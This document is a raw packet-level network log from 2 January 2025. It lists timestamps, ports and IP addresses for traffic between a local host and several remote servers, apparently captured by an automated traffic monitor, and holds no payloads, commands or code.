Jan 2, 2025 20:11:52.381899118 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:11:52.455504894 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:11:52.460311890 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:11:52.504095078 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:11:52.511003017 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:11:52.515783072 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:11:52.533380985 CET	443	56283	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:52.533499956 CET	56283	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:52.534110069 CET	56283	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:52.534117937 CET	443	56283	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:52.534377098 CET	56283	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:52.534380913 CET	443	56283	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:52.552872896 CET	80	49712	208.95.112.1	192.168.2.7
Jan 2, 2025 20:11:52.552942991 CET	49712	80	192.168.2.7	208.95.112.1
Jan 2, 2025 20:11:52.627074957 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:11:52.631886005 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:11:52.640587091 CET	443	56282	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:52.640650034 CET	56282	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:52.641212940 CET	56282	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:52.641227961 CET	443	56282	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:52.641501904 CET	56282	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:52.641506910 CET	443	56282	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:52.689486027 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:11:52.694310904 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:11:52.758452892 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:11:52.761193037 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:11:52.766014099 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:11:52.940066099 CET	443	56283	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:52.940138102 CET	56283	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:52.940139055 CET	443	56283	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:52.940299034 CET	56283	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:52.940335989 CET	56283	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:52.940345049 CET	443	56283	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:52.940372944 CET	56283	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:52.940463066 CET	56283	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:52.941028118 CET	56295	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:52.941049099 CET	443	56295	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:52.941184998 CET	56295	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:52.941319942 CET	56296	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:52.941339970 CET	443	56296	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:52.941442013 CET	56296	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:52.941585064 CET	56295	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:52.941601038 CET	443	56295	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:52.941688061 CET	56296	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:52.941693068 CET	443	56296	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:53.105390072 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:11:53.106955051 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:11:53.111793995 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:11:53.121778965 CET	443	56282	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:53.121839046 CET	56282	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:53.122034073 CET	56282	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:53.122071981 CET	443	56282	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:53.122136116 CET	56282	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:53.122689009 CET	56298	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:53.122726917 CET	443	56298	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:53.122792006 CET	56298	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:53.122992039 CET	56299	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:53.123040915 CET	443	56299	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:53.123336077 CET	56299	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:53.123476982 CET	56299	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:53.123492002 CET	443	56299	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:53.123796940 CET	56298	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:53.123816967 CET	443	56298	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:53.366063118 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:11:53.367798090 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:11:53.372780085 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:11:53.373032093 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:11:53.377871990 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:11:53.392770052 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:11:53.397635937 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:11:53.704762936 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:11:53.706918001 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:11:53.884713888 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:11:53.950360060 CET	443	56295	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:53.950735092 CET	56295	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:53.951878071 CET	56295	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:53.951884985 CET	443	56295	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:53.953310966 CET	56295	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:53.953315973 CET	443	56295	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:53.974823952 CET	443	56296	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:53.974950075 CET	56296	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:53.975707054 CET	443	56296	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:53.976864100 CET	56296	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:53.979990959 CET	56296	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:53.980005980 CET	443	56296	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:53.980300903 CET	443	56296	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:53.980498075 CET	56296	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:53.981496096 CET	56296	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:54.006217957 CET	443	56299	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:54.006396055 CET	56299	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:54.007008076 CET	443	56299	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:54.007141113 CET	56299	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:54.008378983 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:11:54.009131908 CET	56299	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:54.009139061 CET	443	56299	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:54.009428978 CET	443	56299	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:54.010186911 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:11:54.010243893 CET	56299	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:54.010705948 CET	56299	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:54.014939070 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:11:54.016072035 CET	443	56298	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:54.016513109 CET	56298	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:54.016618013 CET	56298	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:54.016638041 CET	443	56298	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:54.016680956 CET	56298	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:54.016686916 CET	443	56298	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:54.023329020 CET	443	56296	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:54.051323891 CET	443	56299	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:54.360302925 CET	443	56296	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:54.360506058 CET	56296	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:54.360506058 CET	56296	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:54.360543013 CET	443	56296	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:54.360600948 CET	56296	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:54.361577988 CET	56307	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:54.361608982 CET	443	56307	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:54.361808062 CET	56307	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:54.362150908 CET	56307	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:54.362158060 CET	443	56307	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:54.371112108 CET	443	56295	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:54.371164083 CET	443	56295	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:54.371208906 CET	56295	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:54.371208906 CET	56295	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:54.371237040 CET	443	56295	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:54.371308088 CET	443	56295	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:54.371428013 CET	56295	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:54.372844934 CET	56295	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:54.372863054 CET	443	56295	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:54.372874975 CET	56308	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:54.372905016 CET	443	56308	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:54.373267889 CET	56308	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:54.373354912 CET	56308	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:54.373368025 CET	443	56308	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:54.384434938 CET	443	56299	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:54.384749889 CET	56299	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:54.384769917 CET	443	56299	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:54.384828091 CET	56299	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:54.384965897 CET	56299	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:54.384999037 CET	443	56299	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:54.385126114 CET	443	56299	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:54.385180950 CET	56299	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:54.385180950 CET	56299	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:54.385620117 CET	56309	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:54.385675907 CET	443	56309	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:54.385746002 CET	56309	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:54.386055946 CET	56309	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:54.386070013 CET	443	56309	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:54.514470100 CET	443	56298	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:54.514518023 CET	443	56298	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:54.514545918 CET	56298	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:54.514559984 CET	443	56298	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:54.514573097 CET	56298	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:54.514617920 CET	56298	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:54.514626026 CET	443	56298	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:54.514662027 CET	443	56298	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:54.514744043 CET	56298	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:54.516307116 CET	56298	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:54.516329050 CET	443	56298	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:54.516820908 CET	56310	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:54.516863108 CET	443	56310	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:54.516927004 CET	56310	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:54.517206907 CET	56310	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:54.517215014 CET	443	56310	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:55.005072117 CET	443	56307	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:55.005146980 CET	56307	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:55.005871058 CET	443	56307	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:55.005985022 CET	56307	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:55.007626057 CET	56307	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:55.007637024 CET	443	56307	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:55.007878065 CET	443	56307	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:55.007980108 CET	56307	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:55.008114100 CET	443	56308	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:55.008167982 CET	56308	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:55.008487940 CET	56307	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:55.008716106 CET	56308	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:55.008723021 CET	443	56308	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:55.008872032 CET	56308	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:55.008881092 CET	443	56308	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:55.014383078 CET	443	56309	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:55.014467955 CET	56309	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:55.015156031 CET	443	56309	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:55.015255928 CET	56309	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:55.016895056 CET	56309	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:55.016901970 CET	443	56309	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:55.017148972 CET	443	56309	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:55.017256021 CET	56309	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:55.017604113 CET	56309	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:55.051328897 CET	443	56307	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:55.063327074 CET	443	56309	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:55.145878077 CET	443	56310	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:55.145937920 CET	56310	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:55.146537066 CET	56310	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:55.146543026 CET	443	56310	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:55.146769047 CET	56310	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:55.146775007 CET	443	56310	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:55.398196936 CET	443	56307	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:55.398432970 CET	56307	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:55.398442984 CET	443	56307	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:55.398538113 CET	56307	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:55.398647070 CET	443	56307	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:55.398686886 CET	443	56307	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:55.398720980 CET	56307	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:55.398720980 CET	56307	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:55.398729086 CET	443	56307	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:55.398789883 CET	56307	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:55.398789883 CET	56307	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:55.399355888 CET	56317	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:55.399393082 CET	443	56317	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:55.399493933 CET	56317	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:55.399832010 CET	56317	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:55.399847031 CET	443	56317	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:55.403666973 CET	443	56309	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:55.403973103 CET	56309	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:55.404089928 CET	56309	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:55.404133081 CET	443	56309	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:55.404226065 CET	56309	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:55.404634953 CET	56318	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:55.404663086 CET	443	56318	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:55.404827118 CET	56318	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:55.405061007 CET	56318	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:55.405076027 CET	443	56318	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:55.456249952 CET	443	56308	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:55.456306934 CET	443	56308	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:55.456336021 CET	56308	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:55.456348896 CET	443	56308	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:55.456401110 CET	56308	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:55.456423998 CET	443	56308	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:55.456448078 CET	56308	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:55.457434893 CET	56308	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:55.457434893 CET	56308	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:55.458102942 CET	56319	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:55.458154917 CET	443	56319	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:55.458265066 CET	56319	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:55.458646059 CET	56319	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:55.458663940 CET	443	56319	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:55.601896048 CET	443	56310	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:55.601948977 CET	443	56310	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:55.602016926 CET	56310	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:55.602026939 CET	443	56310	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:55.602047920 CET	56310	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:55.602081060 CET	443	56310	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:55.602113962 CET	56310	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:55.608047009 CET	56310	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:55.611799955 CET	56310	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:55.611824989 CET	443	56310	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:55.612677097 CET	56321	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:55.612709045 CET	443	56321	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:55.612792015 CET	56321	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:55.613049984 CET	56321	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:55.613064051 CET	443	56321	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:55.767436981 CET	56308	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:55.767456055 CET	443	56308	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:55.908410072 CET	56318	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:55.908413887 CET	56317	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:55.908577919 CET	56319	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:55.908641100 CET	56321	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:55.910377979 CET	56326	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:55.910418987 CET	443	56326	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:55.910530090 CET	56326	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:55.911575079 CET	56326	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:55.911590099 CET	443	56326	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:55.913196087 CET	56327	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:55.913248062 CET	443	56327	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:55.914195061 CET	56327	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:55.914482117 CET	56327	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:55.914498091 CET	443	56327	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:56.540826082 CET	443	56326	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:56.540909052 CET	56326	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:56.541721106 CET	443	56326	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:56.541766882 CET	56326	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:56.545938015 CET	56326	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:56.545948029 CET	443	56326	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:56.546334982 CET	443	56326	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:56.546416044 CET	56326	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:56.546967983 CET	56326	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:56.562041998 CET	443	56327	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:56.562129021 CET	56327	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:56.562834024 CET	443	56327	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:56.562887907 CET	56327	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:56.565124989 CET	56327	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:56.565139055 CET	443	56327	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:56.565392017 CET	443	56327	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:56.565463066 CET	56327	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:56.565880060 CET	56327	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:56.591326952 CET	443	56326	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:56.611335993 CET	443	56327	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:56.952891111 CET	443	56326	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:56.952955008 CET	56326	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:56.952955961 CET	443	56327	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:56.952972889 CET	443	56326	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:56.953039885 CET	56327	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:56.953064919 CET	443	56327	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:56.953100920 CET	56326	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:56.953128099 CET	56327	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:56.953198910 CET	56326	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:56.953216076 CET	443	56326	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:56.953272104 CET	56327	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:56.953308105 CET	443	56327	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:56.953366995 CET	56327	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:56.954099894 CET	56336	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:56.954128981 CET	443	56336	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:56.954168081 CET	56335	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:56.954196930 CET	56336	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:56.954201937 CET	443	56335	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:56.954273939 CET	56335	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:56.954385042 CET	56337	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:56.954416037 CET	443	56337	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:56.954463005 CET	56337	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:56.954679012 CET	56338	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:56.954703093 CET	443	56338	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:56.954705000 CET	56335	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:56.954721928 CET	443	56335	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:56.954794884 CET	56338	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:56.955020905 CET	56338	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:56.955044031 CET	443	56338	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:56.955071926 CET	56337	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:56.955091000 CET	443	56337	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:56.955521107 CET	56336	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:56.955542088 CET	443	56336	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:57.588654995 CET	443	56338	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:57.588697910 CET	443	56335	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:57.588782072 CET	56335	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:57.588799000 CET	443	56337	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:57.588799953 CET	56338	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:57.588947058 CET	56337	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:57.588952065 CET	443	56336	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:57.589020967 CET	56336	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:57.589483023 CET	56338	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:57.589488029 CET	443	56338	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:57.589692116 CET	56338	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:57.589705944 CET	443	56338	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:57.590284109 CET	56337	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:57.590295076 CET	443	56337	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:57.590617895 CET	56337	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:57.590622902 CET	443	56337	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:57.592895985 CET	56335	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:57.592911005 CET	443	56335	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:57.593216896 CET	443	56335	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:57.593303919 CET	56335	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:57.593645096 CET	56336	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:57.593663931 CET	443	56336	142.250.185.193	192.168.2.7
